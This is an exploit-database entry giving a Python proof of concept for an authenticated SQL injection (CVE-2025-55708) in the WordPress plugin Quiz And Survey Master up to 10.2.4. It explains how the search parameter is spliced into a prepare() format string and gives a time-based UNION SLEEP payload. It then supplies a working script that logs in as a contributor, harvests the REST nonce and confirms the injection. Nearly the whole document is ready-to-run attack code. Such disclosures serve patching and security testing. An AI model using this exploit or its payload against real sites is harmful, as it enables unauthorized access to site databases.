Share
## https://sploitus.com/exploit?id=PACKETSTORM:226455
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Quiz And Survey Master <= 10.2.4 - Authenticated (Contributor+) SQL Injection (REST)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/quiz-master-next/
    # Software Link: https://downloads.wordpress.org/plugin/quiz-master-next.10.2.3.zip
    # Version: 10.2.3 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-55708
    """
    Quiz And Survey Master <= 10.2.4 registers REST route
    GET /wp-json/quiz-survey-master/v1/bank_questions/<id> (php/rest-api.php, permission_callback
    current_user_can('edit_qsm_quizzes') โ€” a capability the plugin grants to the Contributor role).
    The callback splices the `search` parameter into the prepare() FORMAT STRING (php/rest-api.php ~177):
    
        $search = sanitize_text_field( wp_unslash($_REQUEST['search']) );
        $search_sql .= " AND (question_settings LIKE '%$search%' OR question_name LIKE '%$search%')";
        $query = $wpdb->prepare("SELECT COUNT(question_id) ... quiz_id LIKE %s $search_sql", $quiz_filter);
    
    Because $search is inside the prepare() template (not an argument), its single quote survives ->
    SQL injection in a single-quoted LIKE. sanitize_text_field keeps quotes/parens; the value is
    un-slashed so a single %27 suffices (no %2527).
    
    Payload closes the LIKE and appends a UNION so the delay fires regardless of table contents:
        zzz%') UNION SELECT SLEEP(5)-- -
    
    Prior state: any Contributor account. The `edit_qsm_quizzes` cap is auto-added to the Contributor
    role the first time a contributor loads wp-admin, so the PoC logs in and loads /wp-admin/ once, then
    harvests the wp_rest nonce from admin-ajax rest-nonce.
    """
    import argparse, sys, time, urllib.parse
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--user", default="qmncontrib")
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
        s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        s.post(base + "/wp-login.php", data={"log": args.user, "pwd": args.pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        s.get(base + "/wp-admin/")  # triggers the edit_qsm_quizzes capability grant
        nonce = s.get(base + "/wp-admin/admin-ajax.php?action=rest-nonce").text.strip()
        if not nonce or nonce == "0":
            print("[-] login failed / no wp_rest nonce"); return 1
        print(f"[*] Target: {base} | user: {args.user} | wp_rest nonce: {nonce}")
    
        def probe(sec):
            inj = "zzz%') UNION SELECT SLEEP(" + str(sec) + ")-- -"
            url = base + "/wp-json/quiz-survey-master/v1/bank_questions/1?search=" + urllib.parse.quote(inj)
            t = time.time()
            r = s.get(url, headers={"X-WP-Nonce": nonce}, timeout=60)
            return time.time() - t, r.status_code
    
        t0, c0 = probe(0)
        t5, c5 = probe(args.sleep)
        print(f"[*] SLEEP(0): {t0:.2f}s (http {c0}) | SLEEP({args.sleep}): {t5:.2f}s (http {c5})")
        if c5 == 200 and (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED โ€” contributor-controlled SLEEP({args.sleep}) delayed the "
                  f"response by {t5 - t0:.2f}s (search param, bank_questions REST route).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())